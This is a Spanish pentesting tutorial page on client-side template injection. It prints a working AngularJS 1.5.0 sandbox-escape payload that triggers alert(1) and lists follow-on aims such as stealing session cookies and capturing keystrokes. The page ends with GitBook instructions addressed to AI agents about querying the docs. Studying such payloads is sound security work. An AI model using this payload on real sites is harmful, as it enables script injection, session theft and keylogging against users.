> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-client-side-template-injection-csti/csti-techniques-pentesting-web.md).

# Técnicas de CSTI

Cómo saber si un sitio web es potencialmente vulnerable a un ataque **CSTI** ? Si podemos introducir un valor en un **entrada** como en el caso siguiente con la variable **token de usuario** y eso se interpreta en un **salida**:

<figure><img src="/files/79e3d0b217f166195c773bf73d3378851d6e11d6" alt="" width="563"><figcaption></figcaption></figure>

Por ejemplo, al observar el servidor web **código fuente**, si utiliza lenguajes de programación o motores de plantillas como **Python, Java, Jinja2, AngularJS, etc.** y la entrada no está saneada, la vulnerabilidad podría estar presente:

<figure><img src="/files/d900446e248a593a5200ba201e89283bf61ee20e" alt="" width="563"><figcaption></figcaption></figure>

Gracias al sitio web [**PayloadsAllTheThings**](https://github.com/swisskyrepo/PayloadsAllTheThings), encontramos todas las [inyecciones posibles](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md): En este caso, vemos que la versiwe es la **1.5.0** de **Angular.JS**:

<figure><img src="/files/3621fc6aa5176f97d26af4e07dc162755d4c196a" alt="" width="563"><figcaption></figcaption></figure>

```javascript
javascriptCopy code{{
    c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
    c.$apply=$apply;c.$eval=b;op=$root.$$phase;
    $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
    C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
    B=C(b,c,b);$evalAsync("
    astNode=pop();astNode.type='UnaryExpression';
    astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
    astNode.argument={type:'Identifier',name:'foo'};
    ");
    m1=B($$asyncQueue.pop().expression,null,$root);
    m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
    $eval('a(b.c)');[].push.apply=a;
}}

```

Podemos enviar **alertas** como en el ataque **XXS**:

<figure><img src="/files/4db7b9867e289658405715a1d227a512db3a3421" alt="" width="563"><figcaption></figcaption></figure>

Esto podría usarse para combinar este ataque con el [XSS ](/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss.md)y de la siguiente manera:

* *robar cookies de sesión*
* *capturar todas las pulsaciones de teclas*
* *obtener acceso al servidor, etc.*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-client-side-template-injection-csti/csti-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
